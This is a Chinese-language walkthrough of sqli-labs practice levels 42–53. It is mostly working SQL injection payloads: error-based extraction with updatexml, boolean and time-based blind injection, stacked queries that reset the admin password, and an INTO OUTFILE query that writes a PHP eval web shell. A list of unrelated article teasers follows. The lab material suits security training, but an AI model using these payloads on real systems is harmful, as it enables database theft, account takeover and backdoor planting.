以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】
【Less-42】
使用 'or 1=1 -- aaa 密码,登陆成功。
找到注入点:密码输入框。
解题步骤:
# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
获取到数据库、数据表、字段之后,可以根据SQL注入,尝试修改管理员密码。
';update security.users set password='1111' where username='admin' -- aaa
【Less-43】
与Less-42不同的点在于使用的闭合不同,')or 1=1-- aaa 密码,登陆成功。
解题过程和Less-42相似,具体如下:
解题步骤:
# 获取数据库名
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa
【Less-44】
基本与Less-42解题过程一样,只是Less-44没有信息提示,使用SQL盲注根据是否成功登录判断信息。
# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa
【Less-45】
基本与Less-44解题过程基本一样,只是闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。
# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa
【Less-46】
通过更换sort后面的数字,得到了不同顺序的结果,大致可以猜出用的order by 字段,此时可以and updatexml()方法实现SQL注入。
解题步骤:
# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)
结果:
【Less-47】
基本和Less-46类似,只是多了一个单引号闭合,其他解题步骤基本一致。
# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
【Less-48】
此题由于没有信息显示,使用时间盲注判断数据库长度,字符、数据表名、字段名。
解题步骤:
# 猜数据库名的长度
?sort=1 and if(length(database())>1,sleep(5),1)# 猜数据库名
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)# 猜数据表名
?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)# 猜数据字段名
?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)
结果为:
【Less-49】
与Less-48 类似,只是闭合类型不同,采用的是 单引号闭合,其他的和上一题一样。
解题步骤:
# 猜数据库名的长度
?sort=1' and if(length(database())>1,sleep(5),1) -- aaa# 猜数据库名
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa# 猜数据表名
?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa# 猜数据字段名
?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa
【Less-50】
和Less-46一样,没有闭合,直接在后面注入,解题过程一模一样。
源码分析:
解题步骤:
# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)
结果:
PS:此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。),容易出现堆叠注入。
尝试使用堆叠写码,一句话木马。
# 后面的跟的是文件保存目录?sort=1;select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php'
结果:
【Less-51】
与Less-50类似,只是闭合不同,使用的是单引号。
解决方案:
# 获取数据库名
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from -- aaa
information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
同样的,也可以实现SQL注入phpinfo();
# 后面的跟的是文件保存目录?sort=1';select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php' -- aa
【Less-52】
尝试使用各种常见的闭合,总是不能正常显示,但是又没有错误提示,此时使用时间盲注解决。
and if(条件,满足结果,不满足结果)
# 猜数据库长度
and if(length(database())=8,sleep(5),1)# 猜数据库的组成字母
and if(ascii(substr(database(),1,1))=115,sleep(5),1)# 猜数据表的组成字母
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)# 猜数据表的字段组成字母
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)
【Less-53】
与Less-52不同的点在于闭合的方式不同,使用的是单引号闭合。
解题步骤:
# 猜数据库长度
?sort=1' and if(length(database())=8,sleep(5),1) -- aaa# 猜数据库的组成字母
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa# 猜数据表的组成字母
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa# 猜数据表的字段组成字母
?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa
相关文章:
以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】
【Less-42】 使用 or 11 -- aaa 密码,登陆成功。 找到注入点:密码输入框。 解题步骤: # 获取数据库名 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名 and updatexml(1,concat(0x7e,(select group_conca…...
单片机数码管时钟电路的设计
5 调试 数码管的引脚1~4,a~g以及小数点的排列都不是连续的,这就意味着难免需要飞线。数码管是分共阴和共阳的,起初我错把原理图中的共阳数码管当成了共阴数码管,焊上去了之后才发现,为了避免拆卸…...
win10文件夹.git或者文件被隐藏的开启姿势
按需排查,有的文件隐藏是好事 基本操作更多操作某些系统设置的隐藏操作在idea或者pycharm项目中显示.git文件夹 基本操作 文件夹-> 查看 -> 隐藏的项目点亮 更多操作 文件夹 -> 查看 -> 选项 -> 查看 -> 高级设置 -> 文件和文件夹 -> 隐…...
Paper速读-[Visual Prompt Multi-Modal Tracking]-Dlut.edu-CVPR2023
文章目录 简介关于具体的思路问题描述算法细节 实验结果模型的潜力模型结果 论文链接:Visual Prompt Multi-Modal Tracking 开源代码:Official implementation of ViPT 简介 这篇文章说了个什么事情呢,来咱们先看简单的介绍图 简单来说&am…...
memory动态内存管理学习之unique_ptr
此头文件是动态内存管理库的一部分。std::unique_ptr 是一种智能指针,它通过指针持有并管理另一对象,并在 unique_ptr 离开作用域时释放该对象。在发生下列两者之一时,用关联的删除器释放对象: 管理它的 unique_ptr 对象被销毁。…...
1、项目介绍:为什么要做此项目。
项目介绍:为什么要做此项目。 全栈开发博客实战项目:前后端开发流程以及项目部署 随着互联网的蓬勃发展,全栈开发成为了越来越受欢迎的趋势。前端开发和后端开发之间的紧密合作和协同工作已经成为了现代软件开发中的重要组成部分。然而&…...
2024年6月7日第十五周下午学习英语六级大纲
下午学习英语六级大纲的内容可以归纳为以下几个主要方面: 一、考试概述 六级考试的对象:修完大学英语相应阶段课程的在校大学生。考试目的:参照《大学英语教学指南》设定的教学目标,对我国大学生英语综合运用能力进行科学测量&a…...
每日5题Day19 - LeetCode 91 - 95
每一步向前都是向自己的梦想更近一步,坚持不懈,勇往直前! 第一题:91. 解码方法 - 力扣(LeetCode) class Solution {public int numDecodings(String s) {int n s.length();//注意我们dp的范围是n1int[] d…...
wordpress里面嵌入哔哩哔哩视频的方法
我们正常如果从blibli获取视频分享链接然后在wordpress里面视频URL插入,发现是播放不了的 而视频嵌入代码直接粘贴呢窗口又非常的小 非常的难受,就需要更改一下代码。你可以在在allowfullscreen"true"的后面,留1个空格ÿ…...
Linux系统管理磁盘管理004
本章主要讲述详细lvm扩容。 操作系统: CentOS Stream 9 扩容目标: jianglv扩容到600MB 扩容前 [rootlocalhost ~]# lvdisplay lgb--- Logical volume ---LV Path /dev/lgb/nginx_lvmLV Name nginx_lvmVG Name …...
Flink窗口理论到实践
Flink窗口理论到实践可以分为以下几个关键部分进行阐述: 一、理论概述 窗口概念: Flink窗口是将无限流数据流切分为有限的、连续的数据块进行处理的一种机制。这有助于更高效、更方便地处理无界数据流。窗口分类: 时间窗口:基于固定时间段内收集数据,并在结束时生成结果。…...
279 基于matlab的粒子群集法对铁路电能质量控制系统的容量避行优化设计
基于matlab的粒子群集法对铁路电能质量控制系统的容量避行优化设计。计算出满足功率因素、电压不平衡度等电能指标的条件下。RPC所需要的补偿功率。求得所需最小的系统客量。该设计能快速计算出符合系统设定指标的各项最优补偿功率。并通过sumulink份真。检验设计参数的准确性。…...
46-3 护网溯源 - 溯源报告编写
格式 1. 基本情况︰钓鱼邮件情况介绍 在这部分,需要详细描述钓鱼邮件的基本情况,包括收到的邮件内容、寄件人信息、邮件附件或链接等。还需说明收到邮件的时间和频率。2. 行为分析 详细阐述攻击者的行为模式和攻击方式,包括攻击手段、使用的恶意工具或技术,以及可能的入侵…...
微服务之基本介绍
一、微服务架构介绍 1、微服务架构演变过程 单体应用架构->垂直应用架构一>分布式架构一>SOA架构-->微服务架构 ① 单体应用架构 互联网早期, 一般的网站应用流量较小,只需一个应用,将所有功能代码都部署在一起就可以&#x…...
嘉立创面板制作不规则图案技巧
首先附上效果图展示: 所需软件:嘉立创EDA(专业版)、photoshop、Adobe Illustrator 嘉立创EDA(专业版): 嘉立创面板绘制很容易上手,只要了解这几个图层的作用便可以做出自己想要的面板。 材料边界层: 代表选⽤的材料…...
如何使用Python中的collections模块提供的数据结构,如deque、Counter、OrderedDict等
Python 的 collections 模块提供了一些额外的数据结构,这些数据结构在内置的数据类型(如列表、字典、集合等)的基础上,增加了额外的功能或优化了性能。下面是如何使用 collections 模块中的 deque、Counter 和 OrderedDict 这三种…...
2024年道路安全员考试题库
2024年道路安全员考试题库 16.根据《中华人民共和国道路运输条例》,关于从事客运经营使用的车辆的规定,下列说法错误的是( )。 A.客运经营者应当使用符合国家规定标准的车辆从事道路运输经营 B.客运经营者应当加强对车辆的维护和检测,确保车辆符合国家规定的技术标准 C.…...
自建 Docker 镜像
本文地址:blog.lucien.ink/archives/547 本文主要参考自:自建Docker 镜像/源加速的方法 1. 简介 最近 Docker Hub 被禁一事引起了不小的波动,在这里简单讲下在这之后应该如何访问公开的 Docker Hub。 2. Cloudflare 2.1 搭建 搭建的前提是…...
php实现抖音小程序支付
开发者发起下单_小程序_抖音开放平台 第一步、抖音小程序发起支付 tt.pay_小程序_抖音开放平台 前端提交订单数据到后端接口,然后使用 tt.pay发起支付 请求参数 属性 类型 必填 说明 order_id string 是 担保交易服务端订单号 order_token string 是 …...
代码审计(1):CVE-2022-4957分析及复现
0x00漏洞描述: ѕрееdtеѕt iѕ а vеrу liɡhtԝеiɡht nеtԝоrk ѕрееd tеѕtinɡ tооl imрlеmеntеd in Jаvаѕсriрt. Thеrе iѕ а Crоѕѕ-ѕitе Sсriрtinɡ vulnеrаbilitу in librеѕроndеd ѕрееdtеѕt…...
问题:设备管理指标为完好率不低于( ),待修率不高于5%,事故率不高于1%。 #知识分享#经验分享#经验分享
问题:设备管理指标为完好率不低于( ),待修率不高于5%,事故率不高于1%。 A、100% B、95% C、90% D、80% 参考答案如图所示...
【Linux】(六)—— vim编辑器
vim文件编辑器 Vim(Vi Improved)是一个高度可配置的文本编辑器,最初基于UNIX下的Vi编辑器发展而来,广泛用于程序开发和系统管理中。vim编辑器可以只通过终端命令即可编写修改文件,不需要和gedit一样需要打开类似于记事…...
06016传感器原理与应用202207
06016传感器原理与应用202207 选择题(2*11) 1.基本的电子测量系统由四部分组成,即电源、信号调节、显示系统和B(P7) A.分档器 B.传感器 C.处理器 D.采集器 2.热电阻温度计的测量电路采用精度较高的是B&am…...
java web:springboot mysql开发的一套家政预约上门服务系统源码:家政上门服务系统的运行流程
java web:springboot mysql开发的一套家政预约上门服务系统源码:家政上门服务系统的运行流程 家政上门服务系统的优势 服务质量更稳定:由专业的家政人员提供服务,经过严格的培训和筛选。 价格更透明:采用套餐式收费&…...
二叉树的后序遍历-力扣
二叉树的后序遍历,指首先遍历二叉树的左节点,然后遍历二叉树的右节点,最后遍历中间节点。按照顺序进行递归遍历即可。 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *rig…...
C++基础编程100题-008 OpenJudge-1.3-06 甲流疫情死亡率
更多资源请关注纽扣编程微信公众号 http://noi.openjudge.cn/ch0103/06/ 描述 甲流并不可怕,在中国,它的死亡率并不是很高。请根据截止2009年12月22日各省报告的甲流确诊数和死亡数,计算甲流在各省的死亡率。 输入 输入仅一行ÿ…...
计算机网络 ——网络层(IPv4地址)
计算机网络 ——网络层(IPv4地址) 什么是IPv4地址IP地址的分类特殊的IP地址 查看自己的IPv4地址 我们今天来看IPv4地址: 什么是IPv4地址 IPv4(Internet Protocol version 4)是第四版互联网协议,是第一个被…...
重写mybatisPlus自定义ID生成策略
1.项目中需要引入mybatisplus核心组件 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>${mp.version}</version></dependency> 2.新建一个类实现IdentifierGenera…...
华为坤灵路由器配置SSH
配置SSH服务器的管理网口IP地址。 <HUAWEI> system-view [HUAWEI] sysname SSH Server [SSH Server] interface meth 0/0/0 [SSH Server-MEth0/0/0] ip address 10.248.103.194 255.255.255.0 [SSH Server-MEth0/0/0] quit 在SSH服务器端生成本地密钥对。 [SSH Server…...
盘点一个Python网络爬虫的实战问题
点击上方“Python爬虫与数据挖掘”,进行关注 回复“书籍”即可获赠Python从入门到进阶共10本电子书 今 日 鸡 汤 西宫南内多秋草,落叶满阶红不扫。 大家好,我是Python进阶者。 一、前言 前几天在Python最强王者交流群【🇿 &#x…...
国外做内容网站/优化网络推广外包
大数据时代,什么最贵? 十年前,葛大爷曾说过,“21世纪什么最贵?”——“人才”,深以为然。只是,十年后的今天,大数据时代也带来了身价不断翻番的各种数据。由于急速拓展的网络带宽以及各种穿戴设备所带来…...
郑州网站如何制作/做网站推广好做吗
SMS主站点配置、客户端发现及客户端安装杜 飞当我们部署好SMS服务器以后,我们就要让它发挥它的作用来为我们提供服务,但还需要对它进行相应的配置,所以这篇博文主要讨论以下几个方面的内容:1. SMS主站点的配置2. 配置S…...
做pc端网站方案/长春网站seo
有人说:一个人从1岁活到80岁很平凡,但如果从80岁倒着活,那么一半以上的人都可能不凡。 生活没有捷径,我们踩过的坑都成为了生活的经验,这些经验越早知道,你要走的弯路就会越少。 Python 是最流行的编程语言…...
做的好的宠物食品网站/百度总部投诉电话
网上倒是有不少Codeigniter数据库操作的介绍,这里做一个汇总。//查询:$query $this->db_query("SELECT * FROM table");//result() 返回对象数组$data $query->result();//result_array() 返回数据$data $query->result_array();//row() 只返…...
做网站能挣多少钱/下载百度官方版
大家好,要么做连锁、要么被连锁,我是连锁大亨。要么做连锁,要么被连锁,大家好,我是连锁大亨。哈佛商学院:“连锁,是21世纪最好的商业模式!”我们会发现这并不是一个新新世界…...
怎么做阿里巴巴官网站/免费网站推广网站在线
or在这里是这样理解的,因为在PHP中并不区分数据类型,所以$file既可以是int也可以bool,所以这样的语句不会报错。但其处理过程可能有些朋友不大明白。其实在大多数的语言中, bool orbool这样的语句中,如果前一个值为真后…...